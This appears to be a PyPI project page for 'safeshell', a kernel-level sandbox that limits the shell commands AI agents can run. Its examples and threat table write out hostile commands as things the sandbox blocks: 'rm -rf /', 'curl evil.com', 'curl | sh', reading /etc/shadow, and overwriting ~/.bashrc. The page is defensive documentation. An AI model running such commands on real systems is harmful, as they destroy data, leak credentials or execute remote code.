Secure, sandboxed bash tool access for AI agents
Project description
Secure, sandboxed shell for your AI agents.
Every AI developer eventually faces the same problem: How do I let my agent run code without destroying my machine?
safeshell solves this with a robust security model (Seatbelt on macOS, Landlock on Linux) that enforces isolation at the kernel level.
pip install safeshell
Quick Start
from safeshell import Sandbox
async with Sandbox("./project") as sb:
# works: execution is isolated
result = await sb.execute("ls -la")
# blocked: can't delete system files (Kernel blocked)
await sb.execute("rm -rf /")
# blocked: can't exfiltrate data (Network blocked)
await sb.execute("curl evil.com")
AI Agent Integration
Safeshell comes with "batteries included" integrations for LangChain and PydanticAI.
Example 1: LangChain (Native)
from safeshell.integrations.langchain import ShellTool
from langchain.agents import AgentExecutor, create_tool_calling_agent
# Ready-to-use tool with safety defaults
tools = [ShellTool(cwd="./workspace")]
# Add to your agent
agent = create_tool_calling_agent(llm, tools, prompt)
Example 2: PydanticAI (Native)
from safeshell.integrations.pydantic_ai import create_shell_tool
from pydantic_ai import Agent
# Creates a typed tool function
shell_tool = create_shell_tool("./workspace")
agent = Agent(
'openai:gpt-4',
tools=[shell_tool],
system_prompt="You are a coding assistant. Use the shell to run code.")
Security Model
Older sandboxes try to block "bad words" like rm -rf / using Regex. This is dangerous and bypassable. As noted in Sandboxing is a Networking Problem, true security requires isolating the process at the OS and Network layer, not just filtering commands.
Safeshell uses Kernel Enforcement.
| Threat | Safeshell Protection | Mechanism |
|---|---|---|
rm -rf / |
Blocked | Kernel denies write access to / |
| `curl | sh` | Blocked |
cat /etc/shadow |
Blocked | Access blocked to sensitive paths |
> ~/.bashrc |
Blocked | Write denied outside workspace |
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file safeshell-1.0.1.tar.gz.
File metadata
- Download URL: safeshell-1.0.1.tar.gz
- Upload date:
- Size: 12.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
975bdce33e2be3f8bf6bebb91a01b9fe248c4cf80ccdca8f43a924059b1ebe21
|
|
| MD5 |
82445d897d33960a60b7c8f21918dee2
|
|
| BLAKE2b-256 |
8647763397c0bc539982b61fafe118d23845fa2d7e4e0300d65fb419a88bc0e9
|
Provenance
The following attestation bundles were made for safeshell-1.0.1.tar.gz:
Publisher:
publish.yml on Khadka-Bishal/safeshell
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
safeshell-1.0.1.tar.gz -
Subject digest:
975bdce33e2be3f8bf6bebb91a01b9fe248c4cf80ccdca8f43a924059b1ebe21 - Sigstore transparency entry: 826274115
- Sigstore integration time:
-
Permalink:
Khadka-Bishal/safeshell@01af43ad178cfa15066f4bb7875b6d2f611fec2a -
Branch / Tag:
refs/heads/main - Owner: https://github.com/Khadka-Bishal
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@01af43ad178cfa15066f4bb7875b6d2f611fec2a -
Trigger Event:
workflow_dispatch
-
Statement type:
File details
Details for the file safeshell-1.0.1-py3-none-any.whl.
File metadata
- Download URL: safeshell-1.0.1-py3-none-any.whl
- Upload date:
- Size: 16.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
c42bb7e1f5d10bfaa488a9f9fe265fed4cc4befd67bfe6526e7527f648c9d20b
|
|
| MD5 |
4fa186cd32af9ebed5de612094ff1bb3
|
|
| BLAKE2b-256 |
1e309dc4d76a75e415e88f64a0f95a8361a8b9ef5c0bca03837eb09c43a426ae
|
Provenance
The following attestation bundles were made for safeshell-1.0.1-py3-none-any.whl:
Publisher:
publish.yml on Khadka-Bishal/safeshell
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
safeshell-1.0.1-py3-none-any.whl -
Subject digest:
c42bb7e1f5d10bfaa488a9f9fe265fed4cc4befd67bfe6526e7527f648c9d20b - Sigstore transparency entry: 826274151
- Sigstore integration time:
-
Permalink:
Khadka-Bishal/safeshell@01af43ad178cfa15066f4bb7875b6d2f611fec2a -
Branch / Tag:
refs/heads/main - Owner: https://github.com/Khadka-Bishal
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@01af43ad178cfa15066f4bb7875b6d2f611fec2a -
Trigger Event:
workflow_dispatch
-
Statement type: